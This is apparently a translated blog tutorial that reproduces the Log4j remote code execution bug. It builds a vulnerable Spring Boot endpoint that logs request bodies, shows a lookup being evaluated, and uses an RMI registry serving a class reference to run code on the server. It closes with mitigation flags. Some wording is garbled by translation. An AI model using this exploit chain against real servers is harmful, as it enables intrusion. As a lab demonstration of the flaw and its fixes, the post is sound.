1. Summary of prospects
Log4j's epic bug has been buzzing these days, and I want to explore how it was triggered.
2. Build a SpringBoot project that integrates Log4j
Create a springboot project and make a modification to the pom file according to the guidelines of the spring website
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> </dependencies>
2.1 View imported dependencies
You can see that the log4j I introduced depends on 2.15. Version 0 or below, which triggers the bug
Scanning VX for Java, Front End, Testing, python, etc.
2.2 Write a common interface to accept external incoming parameters
package run.runnable.learn; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.ResponseBody; import javax.annotation.PostConstruct; @SpringBootApplication @Controller public class LearnApplication { private static final Logger logger = LogManager.getLogger(LearnApplication.class); public static void main(String[] args) { SpringApplication.run(LearnApplication.class, args); } @PostMapping("/hack") @ResponseBody public String testHackExecute(@RequestBody String content){ logger.info("content:{}", content); return content; } }
Here's a hack's interface, which prints when parameters are passed in. Almost everyone has written this code. This is also one of the reasons why the vulnerability is so serious: it's easy to trigger
3. Testing vulnerabilities
3.1 Pass in specified parameters to print vm information
Using postman to invoke the interface, you can see a successful return.
728 x 378 1766 x 916
Let's go to the system log and see that printing is not ${java:vm} but JDK information!
728 x 160 2096 x 462
3.2 Testing rmi remote calls
If that's all, at least some error logs will be generated, but this rmi remote call is harmful.
Let's first write a registry with java's native rmi, then register a service
public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); System.out.println("service started"); registry.bind("hack", referenceWrapper); } catch (RemoteException | NamingException | AlreadyBoundException e) { e.printStackTrace(); } }
Another class that can be executed
public class HackExecute { static { System.out.println("HackExecute: Successful execution"); } }
We start the rmi service above and use postman to make the call.
728 x 395 1772 x 962
When we look at the log in the console, you will find that the rmi remote call was successfully executed!
728 x 145 2236 x 446
This means I can write my own code and execute it on the other server in this way, which is an epic bug.
4. Emergency Remedy Measures
(1) Modify the jvm parameter-Dlog4j2.formatMsgNoLookups=true
(2) Modify the configuration log4j2.formatMsgNoLookups=True
(3) FormAT_will be the system environment variable MESSAGES_ PATTERN_ DISABLE_ LOOKUPS set to true
Scanning VX for Java, Front End, Testing, python, etc.